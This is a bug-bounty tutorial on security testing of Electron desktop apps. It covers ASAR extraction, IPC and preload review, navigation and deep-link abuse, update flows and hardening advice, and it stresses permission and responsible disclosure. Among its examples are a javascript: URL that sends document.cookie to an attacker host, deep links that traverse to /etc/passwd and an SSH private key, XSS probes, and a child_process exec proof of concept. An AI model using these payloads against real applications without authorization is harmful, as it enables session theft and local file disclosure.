What is Electron ?

Electron is an open-source framework that allows developers to build cross-platform desktop applications using web technologies like HTML, CSS, and JavaScript. It combines Chromium (for rendering the user interface) and Node.js (for system-level access) into a single runtime, enabling web developers to create native-like desktop apps without needing to learn platform-specific languages such as C++ or Swift.

Electron simplifies application development by providing a unified codebase that works seamlessly on Windows, macOS, and Linux. This means teams can write once and deploy everywhere, reducing maintenance effort while retaining native performance and look-and-feel.

In recent years, there’s been a major shift toward Electron because it bridges the gap between web development and desktop applications. Traditionally, building desktop software required platform-specific languages and toolkits like C++ with Qt, Objective-C for macOS, or C# for Windows. Maintaining separate codebases for each system increased development time, cost, and complexity.

Electron changed that by letting developers use familiar web technologies (HTML, CSS, JavaScript) to create full-featured desktop apps.

From my bug bounty experience, Electron applications show up everywhere and yet their APIs are often overlooked and rarely tested by bug bounty hunters. Attackers and researchers tend to focus on the UI or public web endpoints, while the hidden or internal APIs inside Electron apps get ignored. In my view, this is a missed opportunity, because those APIs frequently hold serious and interesting vulnerabilities.

In this article I will walk you through a full, practical approach to testing Electron apps and their APIs. I will cover how to discover bundled endpoints, extract and inspect ASAR files, analyze IPC channels, test preload bridges, and validate update and auto-launch mechanisms. You will learn both quick wins and deeper techniques that expose logic flaws, insecure IPC usage, and privilege escalation paths.

Now let’s discuses how an normal electron app components looks like.

Electron components

• Main process (aka main.js)
  Runs in Node.js. Creates windows, manages app lifecycle, handles native integrations, file I/O, spawning processes, update logic, and registers IPC handlers (ipcMain).
  
  Privileged: it can read/write files, run commands, access OS APIs, register protocol handlers, and sign/verify updates.
  
• Renderer processes
  Each BrowserWindow or BrowserView runs a Chromium renderer with HTML, CSS, and JS. Renders the UI and runs client-side logic.
  
  Execution context depends on build: it may have full Node access (nodeIntegration) or only a restricted API surface via a preload bridge.

• Preload script (contextBridge)
  Executes before renderer page scripts, in a special JavaScript context. Commonly used to expose a tiny, audited API to window via contextBridge.exposeInMainWorld.

• ASAR / application bundle
  App code and assets often packaged into an app.asar archive. Static analysis (extracting ASAR) is one of the first pentest steps.
  
  Packaging outputs platform installers and native bundles; build configs control inclusion of source maps and unbundled assets.

• Auto-update subsystem
  Responsible for checking for new releases, downloading update artifacts, verifying them, and applying updates with restart.
  
  Can be implemented with built-in modules or third party services; update workflow includes version checks, download, verification, and install steps.

• WebViews and external content
  <webview> embeds a guest web content in its own renderer process. BrowserView programmatically attaches web content to a window.
  
  Both run isolated renderers and accept webPreferences options to control behavior and permissions.

• Native modules / .node binaries
  Native Node modules compiled to .node binaries load platform native code and must match the Electron ABI and target platform.
  
  Loaded via require, they run with the same privileges as other Node code in the loading process.

• Inter-process communication (IPC)
  Message passing between renderer and main using ipcRenderer.send, ipcRenderer.invoke, ipcMain.on, and ipcMain.handle.
  
  Supports event-style messages and request-response invocations, and crosses contextIsolation boundaries when mediated by preload.

• Application menus, tray, and native UI
  Main process defines native menus, system tray icons, dock badges, and native dialogs. Menu templates and platform integrations are handled in main.
  
  Notifications, dialogs, and native shortcuts are surfaced through main process APIs.

• Session, cookies, and network layer
  Electron exposes a Session API wrapping Chromium networking. Manages cookies, cache, proxy, and webRequest hooks.
  
  Multiple sessions can be created to isolate storage and network state per window or context.

• Security flags and webPreferences
BrowserWindow and webContents accept webPreferences settings like nodeIntegration, contextIsolation, preload, webviewTag, and sandbox.
  
  These flags control available APIs and the execution context for renderer code.

Practical Example :

To explain how to begin pentesting an Electron app we will use a real application named Simplenote. As the name suggests it is a note taking app similar to Notion but much simpler and with fewer features. Simplenote is open source and hosted on GitHub, you can view it at this link

https://github.com/Automattic/simplenote-electron

Open the releases page at https://github.com/Automattic/simplenote-electron/releases/tag/v2.23.2 and download the Windows x64 package, which is an exe file, then install it.

Open the Start menu, right click the Simplenote shortcut, and select Open file location.

That reveals the shortcut path. Right click the shortcut again and view the Target path to locate the application folder. Inside the app folder open the resources directory and you will find a file named app.asar.

If you are not familiar with ASAR, an .asar file is an archive that bundles all JavaScript, HTML, and CSS source code of an Electron application. It is similar to a .zip but optimized for Electron. .asar archives are not encrypted, they are only packed, so their contents can be inspected.

To extract an ASAR you need Node.js and npm installed on your machine. Install the asar tool globally with this command:

npm install -g asar

The -g flag installs the package globally so the asar command is available from any folder on your system.

You can check usage with:

asar -h

asar e .\\app.asar reverse

Open the reverse folder and you will see the extracted files, similar to this screenshot.

Now you have the packed app source. If the developer bundled and minified code before packaging, the extracted files will reflect those generated artifacts. If the original source was packed without bundling, you may get readable original source files.

The first quick win is to check the application dependencies for known issues and low-hang fruit issues. It’s an easy job.

npm audit

If npm reports a missing package-lock.json create it with:

npm i --package-lock-only

Then run npm audit again to see the results.

Review the audit output to identify vulnerable packages, versions, and suggested fixes. Prioritize high and critical findings, check whether packages run at runtime or only in development. Update or replace vulnerable dependencies, or apply mitigations when updates are unavailable. Document changes and retest after upgrades to confirm issues are resolved

An easy and practical first step is to inspect the app's dependency vulnerabilities

inside the node_modules directory run

npm audit

If you encounter an error stating package-lock.json is missing you must generate it before auditing the project.

Create it using this command locally

npm i --package-lock-only

after that run npm audit again and you will see output similar to below now

Now to get the entry point of the application . it is straight step just open the package.json file and search for main file like this

"name": "Automattic, Inc.",
"email": "support@simplenote.com"
},
"productName": "Simplenote",
"version": "2.23.2",
"main": "desktop/index.js",
"license": "GPL-2.0",
"homepage": "https://simplenote.com",
"repository": {
  "type": "git",
  "url": "git://github.com/Automattic/simplenote-

In this case the index.js file has only one line

require('./app')();

This indicates it loads app.js from the same folder. From there you can read the application code and verify whether any input from users is handled without proper sanitization. In Electron desktop apps an XSS can sometimes lead to full remote code execution, so check webPreferences settings in app.js which look like this and include two notable options

webPreferences: {
  contextIsolation: true,
  nodeIntegration: false,
  preload: path.join(__dirname, './preload.js'),
},

• nodeIntegration : When nodeIntegration is true the renderer gains access to Node.js APIs through the DOM. This means an XSS could call Node functions and lead to code execution.
• contextIsolation : This ensures preload scripts and Electron internals run in a separate JavaScript context from the loaded web content.

If nodeIntegration is enabled an XSS may enable RCE.

We will not continue auditing Simplenote for vulnerabilities because we lack permission. Everything covered so far is public on GitHub, so you can continue from here. If you discover issues disclose them responsibly to the project maintainers so they can fix them. Start by opening app.js, inspect BrowserWindow creation and the preload path, then trace how exposed functions format and forward data.

Note any string concatenation or unescaped insertion points. Do not run intrusive tests against live installs without consent. Always follow coordinated disclosure practices, include proof of concept steps, and provide remediation suggestions.

Common security Issues & Misconfigurations for ElectronJs Desktop app

Now let's talk about what vulnerabilities & test cases you should perform for electron-based applications

1) Debug mode enabled

As we mentioned earlier Electron application is built on Chromium so we can debug the renderer mode during development stage however in production when we build the binary this flag should be set to false . this has no major impact but the presence of it increases other vulnerabilities similar to what occurred here

https://nvd.nist.gov/vuln/detail/cve-2024-36287

to check if debug is enabled on any Electron application or not simply launch the app and inspect its menus for commands like (toggle developer tool - debugging console … etc )

How to check

• Open the app and look at the menus, especially the View menu. If you see items like “Toggle Developer Tools”, “Toggle DevTools”, “Developer Tools”, or “Toggle Console”, devtools are available.
• Try keyboard shortcuts: press Ctrl+Shift+I, Ctrl+Shift+J, or F12. If a devtools window opens, debug is enabled.
• Right click on the UI and see if “Inspect” appears. If so, devtools are exposed.
• Also Launch the app from the command line instead of double clicking. If the app prints verbose logs to stdout/stderr, you may see debug output. On Windows use PowerShell: & "C:\Path\To\App.exe"

On macOS/Linux:

/Applications/App.app/Contents/MacOS/App

If you see logging lines or stack traces, debug logging may be enabled.

Or look for webPreferences.devTools, webContents.openDevTools(), app.isPackaged === false, electron-is-dev, or environment flags like ELECTRON_ENABLE_LOGGING after extracting the asar.

2- Reading Runtime Logs Through CLI

How to check

• Launch app from CLI and capture stdout/stderr.
• Grep the logs for paths, update URLs, temp files, and zip/tar names.
• Inspect running process command line and open files.
• Check filesystem permissions of any suspicious paths.
• Optionally monitor filesystem activity while launching updates.

Run and capture logs

"/Applications/Simplenote.app/Contents/MacOS/Simplenote" > ~/simplenote-log.txt 2>&1 &

/path/to/Simplenote &> ~/simplenote-log.txt &

Tip: some GUI apps detach from the terminal. If so run the actual binary inside the .app bundle on macOS or use Process Monitor on Windows.

And now let's search logs for interesting strings

grep -iE "(/tmp|temp|update|\\.zip|\\.tar|autoUpdater|auto-update|download|remote-debugging-port|openDevTools|preload)" ~/simplenote-log.txt | sed -n '1,200p'

Inspect running process command line and flags

pgrep -f Simplenote
ps -o pid,cmd -p <PID>
tr '\0' '\n' < /proc/<PID>/environ | sed -n '1,200p'

List open files and temporary files used by the process

List open files and temporary files used by the process

Check filesystem permissions of suspicious paths

ls -ld /tmp /var/tmp /path/to/suspected/file /path/to/suspected/dir

find /tmp -maxdepth 2 -type d -perm -o+w -ls

stat /tmp/somefile.zip

Look for update temp files and predictable names

• Grep logs for patterns like /tmp/xxxx.zip, update.zip, staging, pending, delta or an obvious temp folder.
• If you see a temp path that is world writable or owned by low privilege, note it for reporting. Do not modify files yourself without permission.

Monitor filesystem activity during update or launch

sudo apt install inotify-tools

inotifywait -m /tmp -e create,modify,delete --format '%w%f %e' &

Use fswatch or sudo fs_usage while starting the app to see file activity.

Finding world writable locations globally (fast scan)

sudo find / -type d -perm -0002 -ls 2>/dev/null | head -n 200

Note: scanning root can be noisy. Prefer targeted checks.

Check for launched child processes and temporary execs

pstree -p <PID> 

ps -o pid,ppid,cmd -p <PID> ; ps -ef | grep "<PID>"

What to look for in logs

• Absolute paths under /tmp, /var/tmp, %TEMP% or app-specific temp folders.
• Filenames with predictable names like update.zip, download.zip, staging.zip.
• References to extraction or rename operations.
• Calls to installers or shell commands such as unzip, tar, mv, chmod, chown.
• Network hosts used by update endpoints and plain http vs https.
• Any printed stack traces that reveal file paths or config locations.

3) Injection Based Attacks

As mentioned earlier, XSS in Electron applications is often rated high, sometimes critical, because Electron combines Chromium and Node.js. This mix allows injected JavaScript to run with web and native capabilities, so an XSS can reach OS-level APIs and execute commands. For an XSS to lead to remote code execution we need at least one of the following conditions to exist.

Testing for Direct Node access in the renderer: when nodeIntegration is true or similarly enabled, attacker-controlled JavaScript can call Node APIs such as require('child_process').exec(...), fs methods, and spawn processes. In that case an XSS becomes immediate RCE.

What to check

• Look in code for webPreferences when BrowserWindow is created.
• Search for nodeIntegration, enableRemoteModule, or webPreferences flags.
• Open devtools or a console in a local dev build, run:

typeof require === 'function' && !!require('fs')

If it returns true, Node APIs are available in the renderer. Do not run dangerous commands.

Testing for Preload or exposed API abuse: a preload script that exposes powerful functions (for example window.api.exec(cmd) or a wide bridge) can be invoked by injected scripts even if nodeIntegration is disabled. If the exposed functions allow running commands, reading files, or loading modules then RCE is possible.

What to check

• Find preload path in BrowserWindow options. Inspect the preload file for contextBridge.exposeInMainWorld or any global assignment to window.*.
• contextBridge.exposeInMainWorld('api', {...}) and methods that call ipcRenderer.invoke, child_process, or fs.
• Any function named exec, run, shell, readFile, writeFile, require in the exposed API.

If the preload exposes api with a harmless read function, call it to confirm shape and argument expectations. Example if console available:

window.api && typeof window.api.read === 'function'

Broken context isolation or poor sanitization: when contextIsolation is false, or code uses eval() or new Function() unsafely across contexts, attacker-controlled content may reach privileged objects. This often provides the path from XSS to internal APIs.

What to check

• Find contextIsolation flag and usage of eval, new Function, Function constructor, setImmediate + string, or vm usage across renderer and preload boundaries.

What to look for

• contextIsolation: false or absence of the flag plus exposeInMainWorld usage without checks.
• Use of eval or new Function on user content or on data assembled from external sources.

If you control a benign input point (a notes field, profile, etc.), try submitting a harmless string that would reveal execution if eval were used, for example {{__TEST__}}, and inspect observed behavior or logs.

Testing for Insecure IPC handlers in the main process: the renderer may not have Node, yet it can send IPC messages. If ipcMain handlers perform privileged actions on untrusted input, such as writing files, executing commands, or loading remote content, an XSS payload can craft IPC messages that result in RCE.

IPC = Inter-Process Communication. In Electron it’s how the renderer process (web page) and the main process (Node / app controller) send data and commands to each other. An IPC message is simply a named message (a channel) plus optional data that one process sends and the other receives and acts on.

Enumerate ipcMain.handle, ipcMain.on, ipcMain.once and inspect handler bodies for child_process, fs, require, process.env, or remote loading.

What to look for

• Handlers that take payloads and directly call exec, spawn, fs.writeFile, fs.readFile, or require on paths derived from input.
• Handlers that load remote URLs or write to temp directories without validation.

window.api & window.api.read('/path/to/you/control/test.txt').then(console.log)

Safe non-exploitative probe

• If an IPC channel is documented in preload and provides a read-only operation, call it with a harmless filename you control (for example a test file created by you). This confirms arguments and responses. Example:

4) Local Data Exposure Attacks

Desktop operating systems do not usually provide a universal per-app UID sandbox like Android, and only particular packaging models such as Mac App Store sandboxing, Flatpak or Snap, or UWP/MSIX offer per-app containment. Electron desktop apps generally run under the same OS user account as other local programs, so any co-resident process running under that user may be able to read files or interact with services created by the Electron app, especially if the app stores tokens or keys in plaintext, exposes unauthenticated IPC endpoints, or prints secrets to logs. Treat these as local data exposure or insecure storage issues, they are real vulnerabilities. Mitigate by using platform secure storage (Keychain, DPAPI, libsecret, or a cross-platform library like keytar), enforce owner-only file permissions, encrypt sensitive data at rest, and require authentication and authorization for any local IPC or HTTP endpoints

5) App surface and Navigation

In-app navigation Testing

What it is
Navigation controls in BrowserWindow decide where the renderer is allowed to go.

Why it matters
Unrestricted navigation can load attacker pages, trigger window pops, or pivot into protocol abuse.

How to check

• Search handlers:

grep -R "will-navigate\|setWindowOpenHandler" -n .

• You should see both:

win.webContents.on('will-navigate', e => { e.preventDefault(); }); win.webContents.setWindowOpenHandler(() => ({ action: 'deny' }));

How to test

• Click every in-app link. Nothing should spawn new windows.
• From DevTools in a trusted page:

location.href = 'https://evil.tld'; window.open('https://evil.tld');

Example Scenario
“NoteDesk” loads help articles from https://help.notedesk.cloud. A sidebar link uses target="_blank" without a setWindowOpenHandler.

Repro

1. Create a note containing:

<a href="https://evil.tld" target="_blank">Help</a>

1. Click it. A new BrowserWindow opens to attacker content.

Evidence
No will-navigate listener. No setWindowOpenHandler. DevTools shows a second renderer to https://evil.tld.

Impact
Renderer escapes to arbitrary origins, phishing, OAuth token theft, JS gadgets for later chains.

Custom protocol and deep link traversal

What it is
protocol.register* and app.setAsDefaultProtocolClient handle myapp:// links.

Why it matters
Naive handlers can allow path traversal or file: passthrough.

How to check

grep -R "protocol.register" -n . grep -R "app.setAsDefaultProtocolClient" -n .

Ensure the handler normalizes and validates input, rejects .., file:, and UNC paths.

How to test
From the shell try:

myapp://../../etc/passwd myapp://file///C:/Windows/system.ini myapp://?url=\\attacker\share\icon.ico

Example Scenario
“ClipSync” registers clipsync://open?path=... to jump to a file. The handler joins appDataDir + path without normalization.

Repro
From shell:

clipsync://open?path=../../../../.ssh/id_rsa

The app tries to open and preview the private key.

Evidence
Handler code shows fs.readFile(join(appDataDir, query.path)) with no normalize and no startsWith(appDataDir) check.

Impact
Local file disclosure. On some code paths, write operations become arbitrary file write.

External openers

What it is
APIs like shell.openExternal and shell.openPath.

Why it matters
Raw use can launch javascript:, file:, or unwanted hosts.

How to check

grep -R "shell.openExternal\|openPath" -n .

Wrap calls with an allowlist, for example:

const ALLOWED_HOST = 'example.com'; function safeOpenExternal(raw) { const u = new URL(raw); if (u.protocol !== 'https:' || u.host !== ALLOWED_HOST) return false; return shell.openExternal(u.href); }

How to test
Try javascript:alert(1), file:///etc/passwd, data:text/html,hi. All should be blocked.

Example Scenario
“InvoicePro” uses shell.openExternal(url) for “View invoice on web”.

Repro
Intercept a renderer call or edit a local setting so the target becomes:

javascript:location='https://attacker.tld/steal?c='+document.cookie

Click “View online”.

Evidence
grep shows raw openExternal calls, no URL validation.

Impact
Code execution in default browser context. Phishing and session theft.

WebPreferences and renderer policy

What it is
Security flags that define renderer capabilities.

Why it matters
Weak flags can turn an XSS into RCE.

Baseline you want on every window or view

new BrowserWindow({ webPreferences: { sandbox: true, contextIsolation: true, nodeIntegration: false, webSecurity: true, allowRunningInsecureContent: false, enableRemoteModule: false } });

How to check

• Search for <webview> and confirm no allowpopups:

grep -R "<webview" -n .

• At runtime, verify:

win.webContents.getLastWebPreferences()

Evidence to collect
Creation code and a dump of effective preferences.

Update and supply chain

What it is
Auto-update logic and staging paths.

Why it matters
Unsigned artifacts or writable staging can allow update hijack.

How to check

grep -R "autoUpdater\|electron-updater\|Squirrel" -n .

Confirm TLS, code signing, and hash verification. Staging directory should be user-only and randomized.

How to test

• Enable updater logs, trigger an update.
• Watch temp paths.
  • Windows, Procmon on %TEMP% and %LOCALAPPDATA%.
  • macOS, fs_usage or Console.
  • Linux, inotifywait -m /tmp.

Evidence to collect
Logs that show download URL, signature checks, and staging directory permissions.

Fix
Require signed releases with verified hashes, lock down staging permissions, reject unsigned or mismatched builds.

Practical testing methodology step-by-step

1- Phase A: Recon

Collect binaries & metadata

• Get the installer / app bundle for each platform you’re testing (macOS .app, Windows installer, Linux package). Note the app version.

Extract the bundle

• Extract app.asar (if present) with npx asar extract app.asar out/ or unpack whatever bundle format the app uses.

Set up a lab

• Use VM snapshots and isolated networks. Have Burp/mitmproxy ready for network interception, Frida for runtime hooks, and a local CA to trust Burp.

2- Phase B: Static analysis

Search repo/ASAR for dangerous flags & keywords

• grep "nodeIntegration|contextIsolation|preload|webPreferences|--disable-web-security|allowRunningInsecureContent|enableRemoteModule|ipcMain|child_process|eval" .
• Identify: every new BrowserWindow, webview, and any protocol.register* calls.

Audit preload scripts

• Open preload.js and enumerate contextBridge.exposeInMainWorld calls. Flag any function that can: execute commands, write files, require arbitrary modules, or evaluate strings.

Find secrets & endpoints

• Grep for _API_KEY_, token, secret, or plain credentials; note hardcoded endpoints or update URLs.

3- Phase C : Runtime inspection

Run app from terminal & capture logs

• Launch binary from CLI to capture stdout/stderr (e.g., /Applications/MyApp.app/Contents/MacOS/MyApp). Look for temporary paths, update messages, or stack traces.

Open DevTools / check window globals

• If DevTools is available: open console and test window.process, window.require, Object.keys(window) to spot injected globals.

Enumerate IPC channels

• Static: find .send('channel' and ipcMain.on('channel' pairs.
• Dynamic: from console try window.ipcRenderer && window.ipcRenderer.send('channel', {}) (only in lab and if exposed) to see behavior.

4- Phase D: Exploit vectors

Renderer XSS checks

• Test any user-input rendering points (comments, markdown, file previews) with benign script payloads (<img src=x onerror=console.log('XSS')>). If JS runs, escalate tests.

Preload & Node access escalation

• If nodeIntegration: true or preload exposes dangerous APIs, attempt simple PoC like require('child_process').exec('whoami') (or run touch /tmp/pwned in lab).

IPC fuzzing

• Send unexpected payloads to ipcRenderer.invoke or .send channels. Look for file writes, exec, or whatever the handler does. Use a script to enumerate channel names found earlier.

Update flow testing

• Reproduce update workflow and monitor download paths. If a temporary file path is revealed and writable, test replacement in a controlled environment (never on production).

Native module checks

• Identify .node files and research CVEs. If feasible, run dynamic tracing (ltrace/strace) while triggering vulnerable behavior.

How to intercept requests with Burp

• Install burp certificate on your system
• Go to Windows setting and search for word proxy
• Open it and set it like this

• Set the burp proxy like this

And once the app send or receive any requests it will appear on burp suite and you can send it to repeater to test for backend vulnerabilities like IDOR - SQLI - SSRF and so on.

Sometimes the app doesn’t respect this settings so you need to close it and reopen it from terminal with this argument

C:\Users\<username>\AppData\Local\Programs\Simplenote\Simplenote.exe --proxy-server="http://127.0.0.1:8080"

and for simplenote specific application it will send an upgrade request to change requests to websocket and all later requests and response will be over websocket

In some cases this also will be not sufficient to intercept request because app apply ssl certificate pinning (like most android app do) so you have two options here.

• Frida script to hook this function and disable these checks
• Patch the asar file to disable this function and rebuild the file again

Electron Security Best Practices

• Enforce a secure baseline everywhere
  What: nodeIntegration:false, contextIsolation:true, sandbox:true, webSecurity:true, allowRunningInsecureContent:false, enableRemoteModule:false.
  Risk: renderer bugs become RCE.
  How to check: search all new BrowserWindow( and dump win.webContents.getLastWebPreferences() at runtime.
  Fix: set the baseline on every BrowserWindow, BrowserView, and <webview>.

• Block navigation and popups by default
  What: deny will-navigate, use setWindowOpenHandler(() => ({ action: 'deny' })).
  Risk: open redirect or tab-jacking to attacker content.
  How to check: from a trusted page try location.href='https://example.org' and window.open(...) and expect blocks.
  Fix: allowlist only known origins when needed.

• Harden or avoid <webview>
  What: prefer BrowserView. If you must use <webview>, no allowpopups, mirror the baseline, preload only trusted code.
  Risk: separate renderer with weaker prefs becomes the weak link.
  How to check: grep <webview and inspect provided webPreferences.
  Fix: centralize creation and enforce safe defaults.

• Strong preload discipline
  What: tiny API via contextBridge, no child_process, no direct fs, no raw ipcRenderer pass-through, no eval or new Function.
  Risk: renderer XSS can call native power.
  How to check: grep preload for exposeInMainWorld and exec, spawn, fs, eval, executeJavaScript.
  Fix: expose only high-level, parameterized actions.

• Validate IPC sender and inputs
  What: every ipcMain.on and ipcMain.handle checks event.sender.getURL() and validates args with a schema.
  Risk: renderer to main privilege escalation.
  How to check: list channels and review handlers for origin and schema checks.
  Fix: wrap handlers with origin allowlist and strict validation.

• Secure external openers
  What: guard shell.openExternal and shell.openPath behind a validator. Only https and allowlisted hosts. Reject javascript:, file:, data:, UNC.
  Risk: code exec or credential leak.
  How to check: grep for direct calls and replace with a single safe helper.
  Fix: normalize URLs, enforce scheme and host allowlists.

• Safe custom protocols and deep links
  What: when using protocol.register*, normalize, block .., block file: passthrough, reject UNC.
  Risk: traversal, local file read, NTLM leak.
  How to check: try myapp://../../etc/passwd and myapp://file///C:/Windows/system.ini in a lab.
  Fix: canonicalize and allowlist paths.

• Content Security Policy with nonces or hashes
  What: strict CSP, no unsafe-inline, tight default-src 'self'.
  Risk: renderer XSS.
  How to check: inline <script>alert(1)</script> should be blocked with CSP error.
  Fix: add CSP headers or meta, use nonces or hashes.

• Remove XSS sinks
  What: avoid innerHTML, dangerouslySetInnerHTML, webContents.executeJavaScript.
  Risk: trivial injection to code execution.
  How to check: grep for these APIs and audit markdown renderers.
  Fix: sanitize or replace, avoid executeJavaScript.

• Update hardening
  What: signed updates, HTTPS feeds, integrity checks, randomized user-only staging, rollback protections.
  Risk: supply chain or temp dir hijack.
  How to check: review updater config and logs, verify signature and hash checks.
  Fix: refuse unsigned or mismatched artifacts, lock staging perms.

• Secrets at rest and cookies
  What: store secrets in OS keystores or safeStorage. Cookies should be HttpOnly, Secure, SameSite=Strict.
  Risk: token theft by local apps or XSS.
  How to check: inspect app data dirs for plaintext, check cookie flags.
  Fix: move secrets to Keychain, DPAPI, libsecret, set strict cookie flags, clear on logout.

• Global permission gate
  What: session.setPermissionRequestHandler with deny by default and per-origin allowlist.
  Risk: camera, mic, screen abuse.
  How to check: attempt getUserMedia from untrusted content and expect denial.
  Fix: central handler with explicit origin checks.

• Main-process network allowlist
  What: if main fetches on behalf of renderer, allowlist scheme, host, port. Block localhost, RFC1918, metadata IPs.
  Risk: SSRF to local daemons or cloud metadata.
  How to check: grep main for fetch, axios, net.request and test blocked hosts.
  Fix: strict allowlist and port filters.

• WebSocket origin enforcement
  What: verify Origin and expected subprotocols before upgrade.
  Risk: cross-origin WS hijack.
  How to check: connect from a wrong origin and expect close.
  Fix: enforce origin and protocol checks.

• File dialogs, drag and drop, file associations
  What: canonicalize paths, recheck after symlink resolution, validate extensions, never auto-execute drops.
  Risk: traversal, symlink escape, unexpected execution.
  How to check: try .., symlinks, .url and .lnk drops in a lab.
  Fix: allowlist directories and types, always confirm with the user.

• Build and runtime flags guard
  What: prod must not ship with --no-sandbox, --disable-web-security, --remote-debugging-port, allowRunningInsecureContent:true, devTools:true.
  Risk: disables core defenses.
  How to check: CI grep and runtime assertion on process.argv.
  Fix: strip flags in prod, fail builds if found.

• Chromium and Electron version budget
  What: keep embedded Chromium within a set window, for example 8 weeks behind stable.
  Risk: public engine RCEs remain exploitable.
  How to check: log process.versions.chrome and process.versions.electron.
  Fix: set a policy gate that blocks outdated releases.

• Platform-specific hardening
  Windows: prevent DLL side-loading, block UNC icon loads that leak NTLM.
  macOS: enable hardened runtime, minimal entitlements, respect Gatekeeper and quarantine.
  Linux: prefer Flatpak or Snap and use portals.
  How to check: Windows with Procmon and resource audit, macOS codesign -dv --verbose=4, Linux confirm portal usage.
  Fix: ship signed DLLs in safe dirs, trim entitlements, use sandboxed packaging.

• Logging and crash data hygiene
  What: scrub tokens and PII, limit retention, send only over TLS to allowlisted host.
  Risk: sensitive data exposure to third parties.
  How to check: trigger a benign crash and inspect payload for secrets.
  Fix: redaction and rate limits, restrict destinations.

• Golden self-tests at startup
  What: on launch, enumerate windows and assert the baseline. Exit non-zero if violated.
  Risk: silent regression to insecure flags.
  How to check: flip a flag in dev and run, expect fail-fast with clear logs.
  Fix: keep the self-test and make it part of release gates.

• DevTools and debug paths off in prod
  What: hide DevTools, remove remote debugging, avoid verbose logs.
  Risk: attacker leverage of debug surfaces.
  How to check: look for openDevTools, devTools:true, --remote-debugging-port.
  Fix: disable in production builds.

• Safe custom protocol handlers for files
  What: if opening local files via custom schemes, never translate untrusted input to file:.
  Risk: local file read or exec.
  How to check: trace handler code for file: mapping.
  Fix: only open files chosen by trusted dialogs and explicit user action.

• Local helpers and services
  What: any daemon or local HTTP API must bind to localhost, require a nonce or token, and enforce CSRF if there is a web UI.
  Risk: local privilege or data exposure.
  How to check: attempt requests without the token from another local process.
  Fix: add authentication, rate limits, and CSRF protections.

• Auto-launch safety
  What: quote Windows paths, avoid user-writable directories in path chain, validate args.
  Risk: argument injection or binary swap.
  How to check: inspect Run keys and service arguments.
  Fix: correct quoting, safe install paths, strict arg parsing.

• Dependency and native module hygiene
  What: inventory .node binaries, check CVEs, ensure Electron ABI match, keep third-party libs updated.
  Risk: native code vulnerabilities.
  How to check: locate all .node files and audit versions.
  Fix: rebuild and patch promptly.

Finally, If you want to dive deeper into attack vectors and related material, I recommend the following pentest PDF reports and resources.

DOCUMENT ONE:

DOCUMENT TWO:

https://cure53.de/pentest-report_IVPN.pdf

https://cure53.de/pentest-report_influx-wallet.pdf

https://obsidian.md/files/security/2023-11-Obsidian-Cure53-Audit-Full.pdf

https://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron-wp.pdf

https://documents.clore.ai/REP-final-20240712T163521Z.pdf

https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf